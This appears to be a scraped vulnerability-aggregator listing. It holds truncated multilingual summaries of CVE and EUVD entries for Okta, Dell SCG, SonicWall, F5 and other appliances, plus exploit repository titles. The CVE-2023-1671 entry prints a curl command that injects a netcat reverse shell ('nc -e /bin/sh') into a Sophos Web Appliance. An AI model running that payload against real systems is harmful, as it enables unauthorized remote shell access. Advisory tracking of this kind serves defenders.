CVE-2025-25705

CVE-2025-25705 Description Item: root@kitploit: Product Vendor: freebsdbrasil Item: ProApps - Enterprise Appliance Editor Creator: DreamWeaver PHP: PHP Version 7.3.18 Java Script Library: Jquery UI 1.6 | Jquery 1.2.6 Server: NGINX Operational System: FreeBDS Unix 脆弱性タイプ: リモートコード実行 脆弱性の説明:...

CVE-2024-24919-POC

CVE-2024-24919-POC 자세히 알아보기 - https://nvd.nist.gov/vuln/detail/CVE-2024-24919 해당 취약점은 인증되지 않은 원격 공격자가 영향을 받는 어플라이언스에 있는 임의의 파일 내용을 읽을 수 있게 합니다. Nuclei 템플릿: https://github.com/johnk3r/nuclei-templates/blob/c226ece895c8e4e6aec22aff66f21e5b8b70e08e/http/cves/2024/CVE-2024-24919.yaml...

CVE-2026-78620 Improper Path Validation in Okta Access Gateway Kerberos Configuration Handling

The Okta Access Gateway Kerberos configuration handler does not validate file paths specified in event payloads before writing file contents. The path from the event payload is used directly as the write destination, resulting in files being written to unintended locations on the appliance...

EUVD-2026-74178

The Okta Access Gateway Kerberos configuration handler does not validate file paths specified in event payloads before writing file contents. The path from the event payload is used directly as the write destination, resulting in files being written to unintended locations on the appliance...

EUVD-2026-74172

The Okta Access Gateway backup restore function does not validate the filename embedded in an encrypted backup payload. This results in writing file contents to unintended locations on the appliance filesystem...

CVE-2025-40602

CVE-2025-40602 CVE-2025-40602는 SonicWall Secure Mobile Access SMA 1000 시리즈 어플라이언스의 어플라이언스 관리 콘솔AMC에서 발생하는 로컬 권한 상승 취약점입니다. 이 취약점은 AMC의 부적절한 인가로 인해 발생하며, 인증된 원격 공격자가 영향을 받는 장치에서 권한을 상승시킬 수 있도록 합니다. CVE-2025-23006과 연쇄적으로 사용되면 공격자는 인증 없이 루트 권한으로 원격 코드 실행을 달성할 수 있습니다. 이 제로데이 취약점은 실제 환경에서 활발히 악용되고 있으며...

CVE-2025-31644

CVE-2025-31644: F5 BIG-IP Appliance 모드의 명령 주입 “save” 명령의 “file” 매개변수는 명령 주입 공격에 취약하여, “/mgmt” 웹 API 또는 SSH “tmsh” 셸에 대한 관리자 권한을 보유한 인증된 공격자가 대상 시스템에서 “root” 사용자로 원격 코드 실행을 달성할 수 있게 합니다. 참고: 이 발견은 BIG-IP가 Appliance 모드로 실행될 때만 취약점으로 간주됩니다. 이는 관리자 역할의 인증된 공격자가 임의의 Advanced Shellbash 명령 실행을 방지하는...

CVE-2026-80166

Dell SCG 5.0 Appliance versions prior to 5.36.00.16 and Dell SCG 5.0 Application versions prior to 5.36.00.00, contains an Improper Privilege Management vulnerability. An unauthenticated attacker with local access could potentially exploit this vulnerability, leading to elevation of privileges...

CVE-2026-80167

Dell SCG 5.0 Appliance versions prior to 5.36.00.16 and Dell SCG 5.0 Application versions prior to 5.36.00.00, contains an Use of Hard-coded Cryptographic Key vulnerability. A low privileged attacker with local access could potentially exploit this vulnerability, leading to information disclosure...

CVE-2026-80166

Dell Secure Connect Gateway (SCG) 5.0 Appliance versions prior to 5.36.00.16 and Application versions prior to 5.36.00.00 contain an Improper Privilege Management vulnerability. An unauthenticated attacker with local access could potentially exploit this flaw to achieve elevation of privileges , ...

CVE-2026-79642

Dell SCG 5.0 Appliance versions prior to 5.36.00.16 and Dell SCG 5.0 Application versions prior to 5.36.00.00, contains an Improper Certificate Validation vulnerability. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to unauthorized access...

CVE-2026-79691

Dell SCG 5.0 Appliance versions prior to 5.36.00.16 and Dell SCG 5.0 Application versions prior to 5.36.00.00, contains an Improper Certificate Validation vulnerability. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to protection mechanism...

CVE-2026-80167

Dell SCG 5.0 Appliance versions prior to 5.36.00.16 and Dell SCG 5.0 Application versions prior to 5.36.00.00, contains an Use of Hard-coded Cryptographic Key vulnerability. A low privileged attacker with local access could potentially exploit this vulnerability, leading to information disclosure...

CVE-2026-80127

Dell SCG 5.0 Appliance versions prior to 5.36.00.16 and Dell SCG 5.0 Application versions prior to 5.36.00.00, contains an Improper Neutralization of Special Elements used in an OS Command 'OS Command Injection' vulnerability. A high privileged attacker with remote access could potentially exploi...

CVE-2026-79691

Dell SCG 5.0 Appliance versions prior to 5.36.00.16 and Dell SCG 5.0 Application versions prior to 5.36.00.00, contains an Improper Certificate Validation vulnerability. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to protection mechanism...

CVE-2025-0282-Full-version

Storks: Инструмент для эксплуатации уязвимости удаленного выполнения кода Обзор Storks — это PoC-инструмент на Python, предназначенный для демонстрации критической уязвимости удаленного выполнения кода RCE, обозначенной как CVE-2025-0282 , в конкретном сетевом устройстве. Эта уязвимость может быт...

EUVD-2026-72483

Dell SCG 5.0 Appliance versions prior to 5.36.00.16 and Dell SCG 5.0 Application versions prior to 5.36.00.00, contains an Use of Incorrect Operator vulnerability. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to unauthorized access...

CVE-2026-80054

Dell Secure Connect Gateway (SCG) 5.0 Appliance (before 5.36.00.16) and Application (before 5.36.00.00) are affected by an Incorrect Permission Assignment for Critical Resource flaw. A low-privileged attacker with local access can exploit this to gain unauthorized access , resulting in a high con...

CVE-2023-1671

CVE-2023-1671 Sophos Web Appliance의 사전 인증 RCE PoC root@kitploit: curl -k --trace-ascii % "https://192.168.56.108/index.php?c=blocked&action=continue" -d "argsreason=filetypewarn&url=$RANDOM&filetype=$RANDOM&user=$RANDOM&userencoded=$echo -n "';nc -e /bin/sh 192.168.56.1 4444 " | base64" snip = Se...

CVE-2026-78488

Dell SCG 5.0 Appliance versions prior to 5.36.00.16 and Dell SCG 5.0 Application versions prior to 5.36.00.00, contains an Improper Neutralization of Special Elements used in an OS Command 'OS Command Injection' vulnerability. A low privileged attacker with remote access could potentially exploit...